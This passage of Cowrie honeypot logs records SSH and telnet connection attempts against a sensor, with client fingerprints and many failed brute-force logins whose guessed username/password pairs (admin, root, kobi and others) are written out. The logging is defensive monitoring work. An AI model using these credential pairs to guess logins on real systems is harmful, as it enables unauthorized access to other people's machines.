{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56108,"dst_ip":"10.17.0.5","dst_port":23,"session":"7756b75935d4","protocol":"telnet","message":"New connection: 192.119.13.58:56108 (10.17.0.5:23) [session: 7756b75935d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:37.203288Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36902,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fbb73884daf","protocol":"telnet","message":"New connection: 192.119.13.58:36902 (10.17.0.5:23) [session: 2fbb73884daf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:38.680399Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":64443,"dst_ip":"159.203.135.109","dst_port":22,"session":"8879aee36b5c","protocol":"ssh","message":"New connection: 103.24.63.85:64443 (159.203.135.109:22) [session: 8879aee36b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:39.749100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:39.791880Z","src_ip":"103.24.63.85","session":"8879aee36b5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:39.946202Z","src_ip":"103.24.63.85","session":"8879aee36b5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"observer","password":"observer123","message":"login attempt [observer/observer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:40.942310Z","src_ip":"103.24.63.85","session":"8879aee36b5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:42.149970Z","src_ip":"103.24.63.85","session":"8879aee36b5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":34343,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ebe801af660","protocol":"ssh","message":"New connection: 2.57.121.112:34343 (159.203.135.109:22) [session: 1ebe801af660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:43.495403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:43.500081Z","src_ip":"2.57.121.112","session":"1ebe801af660","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:43.603707Z","src_ip":"2.57.121.112","session":"1ebe801af660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280974","message":"login attempt [admin/280974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:44.058204Z","src_ip":"2.57.121.112","session":"1ebe801af660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"28091974","message":"login attempt [admin/28091974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:45.158501Z","src_ip":"2.57.121.112","session":"1ebe801af660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"28091972","message":"login attempt [admin/28091972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:46.257439Z","src_ip":"2.57.121.112","session":"1ebe801af660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39234,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b8e529fd60c","protocol":"telnet","message":"New connection: 192.119.13.58:39234 (10.17.0.5:23) [session: 3b8e529fd60c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:46.537847Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280891","message":"login attempt [admin/280891] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:47.356354Z","src_ip":"2.57.121.112","session":"1ebe801af660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280887","message":"login attempt [admin/280887] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:48.453873Z","src_ip":"2.57.121.112","session":"1ebe801af660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:49.553017Z","src_ip":"2.57.121.112","session":"1ebe801af660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51212,"dst_ip":"10.17.0.5","dst_port":23,"session":"83e1fde3b3f9","protocol":"telnet","message":"New connection: 192.119.13.58:51212 (10.17.0.5:23) [session: 83e1fde3b3f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:49.558534Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.7.148","src_port":49078,"dst_ip":"159.203.135.109","dst_port":22,"session":"d01675cbc1fe","protocol":"ssh","message":"New connection: 43.153.7.148:49078 (159.203.135.109:22) [session: d01675cbc1fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:49.641686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:49.647470Z","src_ip":"43.153.7.148","session":"d01675cbc1fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:49.715976Z","src_ip":"43.153.7.148","session":"d01675cbc1fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"coach","message":"login attempt [root/coach] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:50.019108Z","src_ip":"43.153.7.148","session":"d01675cbc1fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:51.094851Z","src_ip":"43.153.7.148","session":"d01675cbc1fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.99119424819946,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:33:55.818845Z","src_ip":"192.119.13.58","session":"e3c117c4c2f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.86206364631653,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:10.190877Z","src_ip":"192.119.13.58","session":"d93d6874dd80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":10318,"dst_ip":"159.203.135.109","dst_port":22,"session":"233c77127420","protocol":"ssh","message":"New connection: 213.209.159.56:10318 (159.203.135.109:22) [session: 233c77127420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:15.014259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:15.022257Z","src_ip":"213.209.159.56","session":"233c77127420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:15.110250Z","src_ip":"213.209.159.56","session":"233c77127420","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kobi","password":"kobi","message":"login attempt [kobi/kobi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:15.512804Z","src_ip":"213.209.159.56","session":"233c77127420","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43762,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8c350cc848c","protocol":"telnet","message":"New connection: 192.119.13.58:43762 (10.17.0.5:23) [session: f8c350cc848c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:16.026180Z"}
{"eventid":"cowrie.login.failed","username":"kobi","password":"kobi1","message":"login attempt [kobi/kobi1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:16.599055Z","src_ip":"213.209.159.56","session":"233c77127420","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46568,"dst_ip":"10.17.0.5","dst_port":23,"session":"35d209f7cf48","protocol":"telnet","message":"New connection: 192.119.13.58:46568 (10.17.0.5:23) [session: 35d209f7cf48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:16.665425Z"}
{"eventid":"cowrie.login.failed","username":"kobi","password":"kobi123","message":"login attempt [kobi/kobi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:17.685311Z","src_ip":"213.209.159.56","session":"233c77127420","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kobi","password":"kobi1234","message":"login attempt [kobi/kobi1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:18.772437Z","src_ip":"213.209.159.56","session":"233c77127420","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kobi","password":"kobi12345","message":"login attempt [kobi/kobi12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:19.858202Z","src_ip":"213.209.159.56","session":"233c77127420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:20.943862Z","src_ip":"213.209.159.56","session":"233c77127420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.63798975944519,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:21.318273Z","src_ip":"192.119.13.58","session":"2fbb73884daf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51568,"dst_ip":"10.17.0.5","dst_port":23,"session":"5702e56c2ace","protocol":"telnet","message":"New connection: 192.119.13.58:51568 (10.17.0.5:23) [session: 5702e56c2ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:25.084068Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":44130,"dst_ip":"159.203.135.109","dst_port":22,"session":"6649faaebbc2","protocol":"ssh","message":"New connection: 103.24.63.85:44130 (159.203.135.109:22) [session: 6649faaebbc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:25.187536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:25.192881Z","src_ip":"103.24.63.85","session":"6649faaebbc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:25.388246Z","src_ip":"103.24.63.85","session":"6649faaebbc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debianuser","password":"1qazXSW@","message":"login attempt [debianuser/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:25.976458Z","src_ip":"103.24.63.85","session":"6649faaebbc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.65089416503906,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:26.209340Z","src_ip":"192.119.13.58","session":"83e1fde3b3f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.7.148","src_port":47830,"dst_ip":"159.203.135.109","dst_port":22,"session":"2465611f9c1c","protocol":"ssh","message":"New connection: 43.153.7.148:47830 (159.203.135.109:22) [session: 2465611f9c1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:26.573220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:26.578700Z","src_ip":"43.153.7.148","session":"2465611f9c1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:26.652413Z","src_ip":"43.153.7.148","session":"2465611f9c1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alpha","message":"login attempt [root/alpha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:26.954739Z","src_ip":"43.153.7.148","session":"2465611f9c1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:27.174371Z","src_ip":"103.24.63.85","session":"6649faaebbc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":57922,"dst_ip":"10.17.0.5","dst_port":22,"session":"65b1910b4489","protocol":"ssh","message":"New connection: 193.228.128.84:57922 (10.17.0.5:22) [session: 65b1910b4489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:27.617245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:27.626322Z","src_ip":"193.228.128.84","session":"65b1910b4489","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 